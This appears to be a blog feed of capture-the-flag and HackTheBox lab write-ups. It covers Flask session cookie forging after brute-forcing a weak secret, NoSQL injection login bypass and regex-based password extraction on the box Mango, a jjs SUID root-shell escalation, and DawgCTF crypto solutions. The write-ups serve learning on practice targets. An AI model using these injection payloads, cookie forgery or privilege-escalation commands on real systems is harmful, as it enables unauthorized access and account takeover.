<div class="highlight"><pre><span></span><code><span class="nx">parent</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">toString</span><span class="p">(),</span><span class="s2">"*"</span><span class="p">);</span><span class="kd">var</span><span class="w"> </span><span class="nx">originalAlert</span><span class="o">=</span><span class="nb">window</span><span class="p">.</span>
<span class="nx">alert</span><span class="p">;</span><span class="nb">window</span><span class="p">.</span><span class="nx">alert</span><span class="o">=</span><span class="kd">function</span><span class="p">(</span><span class="nx">t</span><span class="p">){</span><span class="nx">parent</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s2">"success"</span><span class="p">,</span><span class="s2">"*"</span><span class="p">),</span>
<span class="nx">flag</span><span class="o">=</span><span class="nx">atob</span><span class="p">(</span><span class="s2">"ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99"</span><span class="p">),</span><span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span>
<span class="p">{</span><span class="nx">originalAlert</span><span class="p">(</span><span class="s2">"Congratulations, you executed an alert:\n\n"</span><span class="o">+</span><span class="nx">t</span><span class="o">+</span><span class="s2">"\n\nhere is the flag: "</span><span class="o">+</span><span class="nx">flag</span><span class="p">)},</span><span class="mf">50</span><span class="p">)};</span>
</code></pre></div>
<p>We where probably supposed to do some XSS to get the flag but we got it either
way.</p>
<div class="highlight"><pre><span></span><code>$ echo -ne 'ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99' | base64 -d
flag{x55_i5Nt_7hA7_bAD_R1Gh7?}[
</code></pre></div>
<h2>Cookie Forge</h2>
<blockquote>
<p>Help a new local cookie bakery startup shake down their new online ordering and loyalty rewards portal at cookie-forge.cha.hackpack.club!</p>
<p>I wonder if they will sell you a Flask of milk to go with your cookies...</p>
</blockquote>
<p>The website is using flask. A page is reserved for premium member.</p>
<p>We know that <a href="https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce">flask cookie have some issues</a>.</p>
<p>We place an order. Login as <code>toto:toto</code> get the cookie and pass it to
<code>flask-unsign</code>. The tool can decode it as the secret is only use to sign the
cookie.</p>
<div class="highlight"><pre><span></span><code>$flask-unsign -d -c 'eyJmbGFnc2hpcCI6ZmFsc2UsInVzZXJuYW1lIjoidG90byJ9.Xp2SeA.1l6nDFaIsDZ8bCXcxdtORRVIBK0'
{'flagship': False, 'username': 'toto'}
</code></pre></div>
<p>We need to get the secret to forge our own cookie</p>
<div class="highlight"><pre><span></span><code>$ flask-unsign --server https://cookie-forge.cha.hackpack.club/orders --unsign
[*] Server returned HTTP 302 (Found)
[+] Successfully obtained session cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIllvdSBtdXN0IGxvZyBpbiBmaXJzdCEiXX1dfQ.Xp2TwA.IiGnkGfSx0j-O_vLTjmUyU95zLQ
[*] Session decodes to: {'_flashes': [('warning', 'You must log in first!')]}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 39090 attempts
'password1'
</code></pre></div>
<p>We modify the <code>flagship</code> value and sign our cookie with the secret <code>password1</code></p>
<div class="highlight"><pre><span></span><code>$ flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'toto'}"
eyJmbGFnc2hpcCI6dHJ1ZSwidXNlcm5hbWUiOiJ0b3RvIn0.Xp2TRQ.XlXCKJYANDb9ghp5ms_fKQhTkVY
</code></pre></div>
<p>Using Burp repeater we modify our cookie to get the flag</p>
<div class="highlight"><pre><span></span><code>GET /flag HTTP/1.1
Host: cookie-forge.cha.hackpack.club
Cookie: session=eyJmbGFnc2hpcCI6dHJ1ZSwidXNlcm5hbWUiOiJ0b3RvIn0.Xp2TRQ.XlXCKJYANDb9ghp5ms_fKQhTkVY
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 2617
Content-Type: text/html; charset=utf-8
Date: Mon, 20 Apr 2020 12:26:22 GMT
Server: meinheld/1.0.1
Vary: Cookie
<snip>
<p>You are a <em>special</em> customer!
To come back for more, sugar-coma after sugar-coma, in the face of mounting pressure from your doctors,
your family, and your own common sense…
<strong>That's</strong> dedication.
</p>
<p>Just to show our appreciation for your morbid commitment to our life-altering products, we're giving you this flag:</p>
<code>flag{0h_my_@ch1ng_p@ncre@5_th33$3_@r3_d3l1c10$0}</code>
</snip></code></pre></div>
<h2>Custom UI</h2>
<blockquote>
<p>How often do you visit the website just to bounce back because of bad design? Now we developed a new feature, which gives you the ability to change the design! Check out a new feature: custom-ui.cha.hackpack.club</p>
</blockquote>
<p><img alt="page" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/hackpack_custom_ui.png"/></p>
<p>We can input data to change the button color and add text to it. If we input
<code><script></script></code></p>HTB: Mango2020-04-19T11:25:00+02:002020-04-19T11:25:00+02:00maggicktag:maggick.fr,2020-04-19:/2020/04/htb-mango.html<p><img alt="Mango card" class="align-left" src="/media/2020.04/mango_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/214">Mango</a> publish by
<a href="https://www.hackthebox.com/home/users/profile/13531">MrR3boot</a> on October 26
2019.
This box is classified as a medium machine. It involves a interesting NoSQL injection
and a SUID binary.</p>
<p><img alt="Mango card" class="align-left" src="/media/2020.04/mango_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/214">Mango</a> publish by
<a href="https://www.hackthebox.com/home/users/profile/13531">MrR3boot</a> on October 26
2019.
This box is classified as a medium machine. It involves a interesting NoSQL injection
and a SUID binary.</p>
<h1>Recon</h1>
<p>We start with an nmap scan. Only the ports 22 (SSH) 80 (HTTP) and 443 (HTTPS) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Thu Nov 21 13:22:00 2019 as: nmap -p- -sSV -oA nmap 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up (0.086s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 21 13:24:55 2019 -- 1 IP address (1 host up) scanned in 175.48 seconds
# Web
</code></pre></div>
<p>We can run a dirb on both ports but this won't give use any lead.</p>
<p>The website on port 443 is a search engine with an analytic part allowing to
connect to a remote elastic search.</p>
<p>When looking at the SSL certificate we get some information about a subdomain
"staging-order.mango.htb". We add an entry to our <code>/etc/hosts</code> and are able to
access the website.</p>
<p><img alt="Mango certificat" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/mango_1.png"/></p>
<p>The web page is a simple authentication form.</p>
<p><img alt="Mango login page" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/mango_2.png"/></p>
<h1>NoSQL injection</h1>
<p>The name of the box: Mango is a hint about the framework used. First off all I
thought about <a href="https://www.mongodb.com/">MangoDB</a> but there is also a lot of
framework named "mango" like <a href="https://mangomap.com">Mangomap</a> or <a href="https://www.mangoapps.com/">Mangoapps</a>.</p>
<p>MangoDB is a <a href="https://en.wikipedia.org/wiki/NoSQL">NoSQL</a> database. Classical
SQL injections will not work on it. But there is specific
[NoSQL Injection] (https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)</p>
<p>When we try to login as "admin" with the password "place" the POST parameters
are the following: <code>username=admin&password=place&login=login</code></p>
<p>We edit the request with Burp and send the following:
<code>username=admin&password[%24ne]=place&login=login</code></p>
<p>We bypass the authentication and are logged in as admin. But the new page is
a static page with just some SVG images and a message indicating that the site
is building.</p>
<p><img alt="Mango plantation" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/mango_3.png"/></p>
<p><strong>note:</strong> I realized after exploiting the following that I was not getting the
information about admin password but an other account as my payload have a
<code>[$ne]</code> (not equal) in the username parameter.</p>
<p>We can get more information about the admin password's length using some
"regex". By incrementing the following numeric parameter with Burp repeater (or
intruder) in the following query
we can learn that the admin password is 16 characters long. In fact the
application send back a redirection until the parameter is 17 then just sending a 200.</p>
<p><code>username[%24ne]=admin&password[%24regex]=.{16}&login=login</code></p>
<p>Then we can get the password character by character using the intruder and
<a href="https://github.com/maggick/vrac/blob/master/printable_chars">a list of printable characters</a>
and a specific payload. When sorting the application answers by Status code we
get the characters.</p>
<p><img alt="Mango getting the password" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/mango_4.png"/></p>
<div class="highlight"><pre><span></span><code>username[%24ne]=admin&password[%24regex]=h3§q§.{13}&login=login
username[%24ne]=admin&password[%24regex]=h3m§q§.{12}&login=login
username[%24ne]=admin&password[%24regex]=h3mXK8RhU§q§.{6}&login=login
username[%24ne]=admin&password[%24regex]=h3mXK8RhU~f{]f5§q§.{0}&login=login
</code></pre></div>
<p>We finally get the password <code>h3mXK8RhU~f{]f5H</code>. We try to login with it but this
not the admin password as mentioned earlier. We repeat the process with the
following payload and get the admin password <code>t9KcS3>!0B#2</code>.</p>
<p><code>username=admin&password[%24regex]=§a§.{12}&login=login</code></p>
<h1>Getting user</h1>
<p>The admin password is working. But we cannot use it to connect using SSH. We
need to find the other user. After some guessing we found that the other user is
simply "mango". We can then connect to the box using SSH and the previous
password.</p>
<p>The user flag is not in the mango user home folder. We need to login as the
admin user. A simple <code>su admin</code> with the previously found password do the trick.</p>
<div class="highlight"><pre><span></span><code>mango@mango:~$ su admin
Password:
$ cd
$ ls
jjs user.txt
$ cat user.txt
79bf31<redacted>
</redacted></code></pre></div>
<h1>Getting root</h1>
<p>We start enumerating the box for privileges escalation. Listing our <code>sudo</code> right
and the SUID binaries.</p>
<div class="highlight"><pre><span></span><code>admin@mango:/home/admin$ sudo -l
[sudo] password for admin:
Sorry, user admin may not run sudo on mango.
admin@mango:/home/admin$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
-rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
-rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
-rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
-rwsr-xr-x 1 root root 40152 May 15 2019 /snap/core/7713/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/7713/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/7713/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/7713/bin/su
-rwsr-xr-x 1 root root 27608 May 15 2019 /snap/core/7713/bin/umount
-rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/7713/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/7713/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/7713/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/7713/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/7713/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jun 10 22:53 /snap/core/7713/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 19:46 /snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/7713/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 106696 Aug 30 07:09 /snap/core/7713/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/7713/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 May 16 2018 /snap/core/6350/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/6350/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/6350/bin/ping6
-rwsr-xr-x 1 root root 40128 May 17 2017 /snap/core/6350/bin/su
-rwsr-xr-x 1 root root 27608 May 16 2018 /snap/core/6350/bin/umount
-rwsr-xr-x 1 root root 71824 May 17 2017 /snap/core/6350/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 May 17 2017 /snap/core/6350/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 May 17 2017 /snap/core/6350/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 May 17 2017 /snap/core/6350/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 May 17 2017 /snap/core/6350/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /snap/core/6350/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jan 12 2017 /snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Nov 5 2018 /snap/core/6350/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 98472 Jan 29 2019 /snap/core/6350/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/6350/usr/sbin/pppd
-rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newgidmap
-rwsr-sr-x 1 root root 18161 Jul 15 2016 /usr/bin/run-mailcap
-rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
-rwsr-xr-- 1 root messagebus 42992 Jun 10 18:05 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-- 1 root admin 10352 Jul 18 18:21 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine
</code></pre></div>
<p>We search for the binaries on GTFObins and <a href="https://gtfobins.github.io/gtfobins/jjs/#suid">jjs</a>
get our attention. We can directly use the gtfobins command but the process just hang.</p>
<div class="highlight"><pre><span></span><code>admin@mango:/home/mango$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-/bin/jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh -p /dev/pts/0 2>/dev/pts/0').waitFor()
#
</code></pre></div>
<p>We modify the command to use <code>/bin/bash</code> instead of <code>sh</code> and it work (the user input are
not prompted when typing but when you hit enter it gives the command result).
The first command is <code>id</code> the second is <code>cat /root/root.txt</code>.</p>
<div class="highlight"><pre><span></span><code>admin@mango:/home/mango$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo /bin/bash -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo /bin/bash -p /dev/pts/0 2>/dev/pts/0').waitFor()
bash-4.4# uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
bash-4.4# 8a8ef<redacted>
</redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>The NoSQL injection was quit fun. Doing it manually with Burp was really
interesting.</p>
<p>The <code>jjs</code> privilege escalation was not really hard.</p>DawgCTF 20202020-04-13T10:00:00+02:002020-04-13T10:00:00+02:00maggicktag:maggick.fr,2020-04-13:/2020/04/dawgctf-2020.html<p><img alt="Cyberdawgs logo" class="align-left" src="/media/2020.04/cyberdawgs_logo.png" width="262"/></p>
<p>This weekend I participate to the DawgCTF with the team
<code>hackers for the jilted generation</code>. We finished 46th with 4530 points.
Here are some writeup about the cryptography challenges.</p>
<p><img alt="Cyberdawgs logo" class="align-left" src="/media/2020.04/cyberdawgs_logo.png" width="262"/></p>
<p>This weekend I participate to the DawgCTF with the team
<code>hackers for the jilted generation</code>. We finished 46th with 4530 points.
Here are some writeup about the cryptography challenges.</p>
<h1>Crypto</h1>
<p>For most of the crypto challenges we are provided with client python script that
allow to connect to the oracle service.</p>
<h2>Take It Back Now, Y'all (25)</h2>
<p>The first crypto challenge is a simple sanity check.</p>
<p>Here is the provided client:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="s2">"""</span>
<span class="s2">Created for Spring 2020 CTF</span>
<span class="s2">Cryptography 0</span>
<span class="s2">10 Points</span>
<span class="s2">Welcome to my sanity check. You'll find this to be fairly easy.</span>
<span class="s2">The oracle is found at umbccd.io:13370, and your methods are:</span>
<span class="s2"> flg - returns the flag</span>
<span class="s2"> tst - returns the message after the : in "tst:..."</span>
</code></pre></div>
<p>We connect using telnet and call the <code>flg</code> method.</p>
<div class="highlight"><pre><span></span><code>telnet crypto.ctf.umbccd.io 13370
Trying 3.81.180.84...
Connected to crypto.ctf.umbccd.io.
Escape character is '^]'.
flg
DawgCTF{H3ll0_W0rld!}Connection closed by foreign host.
</code></pre></div>
<h2>One Hop This Time, One Hop This Time (75)</h2>
<p>The second one is nothing complicated either.</p>
<p>Here is the client:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="sd">"""</span>
<span class="sd">Created for Spring 2020 CTF</span>
<span class="sd">Cryptography 1</span>
<span class="sd">40 Points</span>
<span class="sd">Welcome to the one time pad oracle!</span>
<span class="sd">Our oracle's function is enc := key ^ msg | dec := key ^ ct</span>
<span class="sd">The oracle is found at umbccd.io:13371, and your methods are:</span>
<span class="sd"> flg - returns the encrypted flag</span>
<span class="sd"> enc - returns the encryption of the message after the : in "enc:..."</span>
<span class="sd"> dec - returns the decryption of the ciphertext after the : in "dec:..."</span>
<span class="sd">@author: pleoxconfusa</span>
<span class="sd">"""</span>
</code></pre></div>
<p>We open a socket, grab the encrypted flag and decrypt it.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">()</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">13371</span>
<span class="n">host</span> <span class="o">=</span> <span class="s1">'crypto.ctf.umbccd.io'</span>
<span class="c1"># connect to the server on local computer</span>
<span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">'flg'</span><span class="p">)</span>
<span class="n">flag</span><span class="o">=</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">'dec:'</span><span class="o">+</span><span class="n">flag</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">))</span>
<span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<h2>Right Foot Two Stomps (200)</h2>
<p>Here is the provided client:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="s2">"""</span>
<span class="s2">Created for Spring 2020 CTF</span>
<span class="s2">Cryptography 2</span>
<span class="s2">100 Points</span>
<span class="s2">Welcome to the AES-CBC oracle!</span>
<span class="s2">Our oracle's function is AES-CBC.</span>
<span class="s2">The oracle is found at umbccd.io:13372, and your methods are:</span>
<span class="s2"> flg - returns the encrypted flag</span>
<span class="s2"> enc - returns the encryption of the message after the : in "enc:..."</span>
<span class="s2"> as 16 bytes of initialization vector followed by the ciphertext.</span>
<span class="s2"> dec - returns the decryption of the ciphertext after the : in "dec:<16 bytes iv>..."</span>
<span class="s2"> as a bytes string.</span>
</code></pre></div>
<p>We open a socket, grab the encrypted flag, send some data to get the IV, and
send back the flag with the IV to decrypt it.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">()</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">13372</span>
<span class="n">host</span> <span class="o">=</span> <span class="s1">'crypto.ctf.umbccd.io'</span>
<span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">'flg'</span><span class="p">)</span>
<span class="n">flag</span><span class="o">=</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">))</span>
<span class="c1">#print(flag)</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">'enc:test'</span><span class="p">)</span>
<span class="n">r</span><span class="o">=</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">))</span>
<span class="c1">#print(r)</span>
<span class="n">iv</span><span class="o">=</span><span class="n">r</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">16</span><span class="p">]</span>
<span class="c1">#print(iv)</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">'dec:'</span><span class="o">+</span><span class="n">iv</span><span class="o">+</span><span class="n">flag</span><span class="p">)</span>
<span class="n">r</span><span class="o">=</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p><code>b"\xd6z\xbd\xfb\x9a\x82\xb91\xa5\x12\n['\xfb\x92\xb5DawgCTF{!_Th0ugh7_Th3_C!ph3rt3x7_W@s_Sh0rt3r.}"</code></p>
<h2>Left Foot Two Stomps (250)</h2>
<p>This the only offline challenge and we didn't get any client for this one.
The only information was the following:</p>
<blockquote>
<p>n=960242069 e=347 c=346046109,295161774,616062960,790750242,259677897,945606673,
321883599,625021022,731220302,556994500,118512782,843462311,321883599,202294479,
725148418,725148418,636253020,70699533,475241234,530533280,860892522,530533280,
657690757,110489031,271790171,221180981,221180981,278854535,202294479,231979042,
725148418,787183046,346046109,657690757,530533280,770057231,271790171,584652061,
405302860,137112544,137112544,851931432,118512782,683778547,616062960,508395428,
271790171,185391473,923405109,227720616,563542899,770121847,185391473,546341739,
851931432,657690757,851931432,284629213,289862692,788320338,770057231,770121847</p>
</blockquote>
<p>This looks like some RSA with "small numbers" ;)</p>
<p>We can easily factorise <code>n</code>. Once we know <code>n</code> we can compute <code>phi</code>.</p>
<div class="highlight"><pre><span></span><code>n=960242069=151*6359219
Phi = (p-1)(q-1) = 150*6359218 = 953882700
e = 347
ed = 1 mod 953882700
</code></pre></div>
<p>Then, as we already know <code>e</code> we can compute <code>d</code> with a simple python loop.</p>
<div class="highlight"><pre><span></span><code>>>> i = 347
>>> while (347*i%953882700 !=1):
... i+=1
...
>>> i
5497883
</code></pre></div>
<p>We create a list <code>c</code> of the number as in the challenge description and decode
every element using our RSA numbers.</p>
<div class="highlight"><pre><span></span><code>>>> c=[346046109,295161774,616062960,<snip>,770057231,770121847]
>>> for elem in c:
... print(chr((elem**5497883)%960242069))
</snip></code></pre></div>
<p>This was a bit long as a single process is involved but at the end we got the
following output: <code>xhBQCUIcbPf7IN88AT9FDFsqEOOjNM8uxsFrEJZRRifKB1E=|key=visionary</code></p>
<p>I struggle a lot before thinking about that being a Vigenere cipher using the
key <code>visionary</code>. At first I was thinking about AES-CBC (as the other challenges) but
we don't have any IV here.</p>
<p>Once decrypted with the key we get the following: <code>zJIOHIldUx7QF88MG9FMHxiMGAwNV8wckNjQWZATnxST1Q=</code></p>
<p>We decrypt the base64:</p>
<div class="highlight"><pre><span></span><code>$ echo -ne 'czJIOHIldUx7QF88MG9FMHxiMGAwNV8wckNjQWZATnxST1Q=' | base64 -d
s2H8r%uL{@_<0oE0|b0`05_0rCcAf@N|ROT
</code></pre></div>
<p>And then a ROT47 give us the flag: <code>DawgCTF{Lo0k_@t_M3_1_d0_Cr4p7o}</code></p>
<p>Here is the <a href="https://gchq.github.io/CyberChef/#recipe=Vigen%C3%A8re_Decode('visionary')From_Base64('A-Za-z0-9%2B/%3D',true)ROT47(47)&input=eGhCUUNVSWNiUGY3SU44OEFUOUZERnNxRU9Pak5NOHV4c0ZyRUpaUlJpZktCMUU9">Cyber Chef recipe</a>.</p>
<h2>Slide To The Left (350)</h2>
<p>The client code is exactly the same as "Right Foot Two Stomps".</p>
<div class="highlight"><pre><span></span><code><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="sd">"""</span>
<span class="sd">Created for Spring 2020 CTF</span>
<span class="sd">Cryptography 2.5</span>
<span class="sd">200 Points</span>
<span class="sd">Welcome to the AES-CBC oracle!</span>
<span class="sd">Our oracle's function is AES-CBC.</span>
<span class="sd">The oracle is found at umbccd.io:13373, and your methods are:</span>
<span class="sd"> flg - returns the encrypted flag</span>
<span class="sd"> enc - returns the encryption of the message after the : in "enc:..."</span>
<span class="sd"> as 16 bytes of initialization vector followed by the ciphertext.</span>
<span class="sd"> dec - returns the decryption of the ciphertext after the : in "dec:<16 bytes iv>..."</span>
<span class="sd"> as a bytes string.</span>
<span class="sd">@author: pleoxconfusa</span>
<span class="sd">"""</span>
</code></pre></div>
<p>If we rerun the code for the previous challenge we get: <code>b'We already did this one.'</code></p>
<p>Which is obviously is not the flag. We didn't solve this challenge in time.
I tried solve it using
<a href="https://en.wikipedia.org/wiki/Padding_oracle_attack">Oracle padding</a> but this
was for the next challenge :(</p>
<h1>Misc</h1>
<p>There was one "Misc" challenge that actually was crypto.</p>
<h2>Let Her Eat Cake! 75</h2>
<p>We got some description and photo about
<a href="https://en.wikipedia.org/wiki/Elizebeth_Smith_Friedman">Elizebeth Smith Friedman</a>
and then a cipher text</p>
<blockquote>
<p>Hwyjpgxwkmgvbxaqgzcsnmaknbjktpxyezcrmlja?
GqxkiqvcbwvzmmxhspcsqwxyhqentihuLivnfzaknagxfxnctLcchKCH{CtggsMmie_kteqbx}</p>
</blockquote>
<p>This clearly look like some Polyalphabetic substitution. In fact this is a simple
Viegenere cipher using the key <code>AICGBIJC</code> (we decode it using
<a href="https://www.dcode.fr/vigenere-cipher">dcode.fr</a>).</p>
<blockquote>
<p>Howdoyoukeepaprogrammerintheshowerallday?
GivehimabottleofshampoowhichsaysLatherrinserepeatDawgCTF{ClearEdge_crypto}</p>
</blockquote>
<h1>Wrapping up</h1>
<p>This CTF was fun as there was a lot of task but "easy" ones. Which give you some
need to continue solving the other ones.</p>
<p>I am really proud of the team as we get nice score!</p>
<p><img alt="Scoreboard" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/dawgctf_01.png"/></p>HTB: Traverxec2020-04-11T19:00:00+02:002020-04-11T19:00:00+02:00maggicktag:maggick.fr,2020-04-11:/2020/04/htb-traverxec.html<p><img alt="Traverxec Card" class="align-left" src="/media/2020.04/traverxec_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/217">Traverxec</a>.
This box is rated as an easy box. It implies the exploitation of a CVE on
notsromo, the use of some nostromo misconfiguration and a little trick to
trigger a page with a <code>sudo</code> command.</p>
<p><img alt="Traverxec Card" class="align-left" src="/media/2020.04/traverxec_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/217">Traverxec</a>.
This box is rated as an easy box. It implies the exploitation of a CVE on
notsromo, the use of some nostromo misconfiguration and a little trick to
trigger a page with a <code>sudo</code> command.</p>
<h1>User part</h1>
<h2>Recon</h2>
